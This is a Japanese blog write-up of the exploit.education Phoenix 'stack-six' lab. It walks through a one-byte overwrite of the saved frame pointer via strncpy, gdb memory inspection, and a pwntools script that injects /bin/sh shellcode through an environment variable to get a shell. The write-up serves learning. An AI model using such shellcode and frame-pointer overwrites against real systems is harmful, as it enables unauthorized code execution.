BuringStraw

BuringStraw

[pwnノート3]スタック-シックス(フェニックス)

このコードを~/.gdbinit に書くと、スタックの状況がよりリアルになると聞きました(デバッグ中に)#

(参考https://n1ght-w0lf.github.io/binary exploitation/stack-six/

unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six

では、これが問題のソースコードです#

/*
 * phoenix/stack-six, by https://exploit.education
 *
 * execve("/bin/sh", ...)できますか?
 *
 * なぜキノコはバスの運賃を二重に支払わなければならないのですか? それは彼らがあまりにも
 * mushroomを占有するからです。
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "ようこそ " LEVELNAME ", 提供者 https://exploit.education"

char *what = GREET;

char *greet(char *who) {
  char buffer[128];
  int maxSize;

  maxSize = strlen(who);
  if (maxSize > (sizeof(buffer) - /* null終端を保証する */ 1)) {
    maxSize = sizeof(buffer) - 1;
  }

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

  return strdup(buffer);
}

int main(int argc, char **argv) {
  char *ptr;
  printf("%s\n", BANNER);

#ifdef NEWARCH
  if (argv[1]) {
    what = argv[1];
  }
#endif

  ptr = getenv("ExploitEducation");
  if (NULL == ptr) {
    // この比較スタイルは、誤って
    // if(ptr = NULL) {}..とタイプする問題を防ぎます。

    errx(1, "ExploitEducationという環境変数を指定してください");
  }

  printf("%s\n", greet(ptr));
  return 0;
}

理論#

greet 関数には二つの誤りがあります:

  • strncpy 関数は末尾に \0 を自動的に追加しませんが、strdup は \0 を基準に終了を判断します。

  • strncpy の開始アドレスは buffer + GREET の長さですが、コピーする長さは maxSize であるため、末尾に GREET と同じ長さの領域が溢れます(おそらく 1 を減らしました)。

デバッグしてみると、戻りアドレスには上書きできませんが、スタックにプッシュされた rbp の最後の 2 バイトには上書きできます。

よく知られているように(知らない方はこのhttps://zhuanlan.zhihu.com/p/27339191を見てください)、関数に入るときに実行されるのは:

call xxx
;これは
;push $+1
;jmp xxx
push rbp
mov rbp, rsp
sub rsp, xxx

関数が戻るときに実行されるのは

leave
ret

これは

mov rsp, rbp
pop rbp
pop rip

に相当します。

greet 関数のスタックに保存されている(前の)rbp を x に変更すると、

*xは main 関数のスタックの底になり、*x+8は main 関数の戻りアドレスになります。

理論が存在し、実践が始まる#

gdb でデバッグしてみると、変更できる範囲は:0x7fffffffe500~0x7fffffffe5ff

このコマンドでこの範囲に何があるか見てみましょう

x/32xg 0x00007fffffffe500

ついでに、私たちが入力したものがどこにあるか確認します。(注意:スタックの範囲外のものは必要ありません(疑問があります)、したがって環境変数を検索します)

(gdb) grep ExploitEducation=
[+] 'ExploitEducation='をメモリ内で検索中
[+] '[stack]'(0x7ffffffde000-0x7ffffffff000)内、権限=rwx
  0x7fffffffeee5 - 0x7fffffffef1c  →   "ExploitEducation=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"

先頭を取り除いて、私たちの入力の範囲を確認します

>>> hex(0xeee5+len("ExploitEducation="))
'0xeef6'
>>> hex(0xeee5+126)
'0xef63'

以前見た範囲に戻ります(こう書く順序が少しおかしいようですが、気にしません)

0x7fffffffe5c8にはちょうど0x00007fffffffeef6があります、偶然ですね

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'\x90'*20
shellcode += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += b"A"*(126-len(shellcode))+b'\xc0'

sh = shell.run("/opt/phoenix/amd64/stack-six", env={"ExploitEducation": shellcode})
print(sh.recvline())
sh.interactive()

できました。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。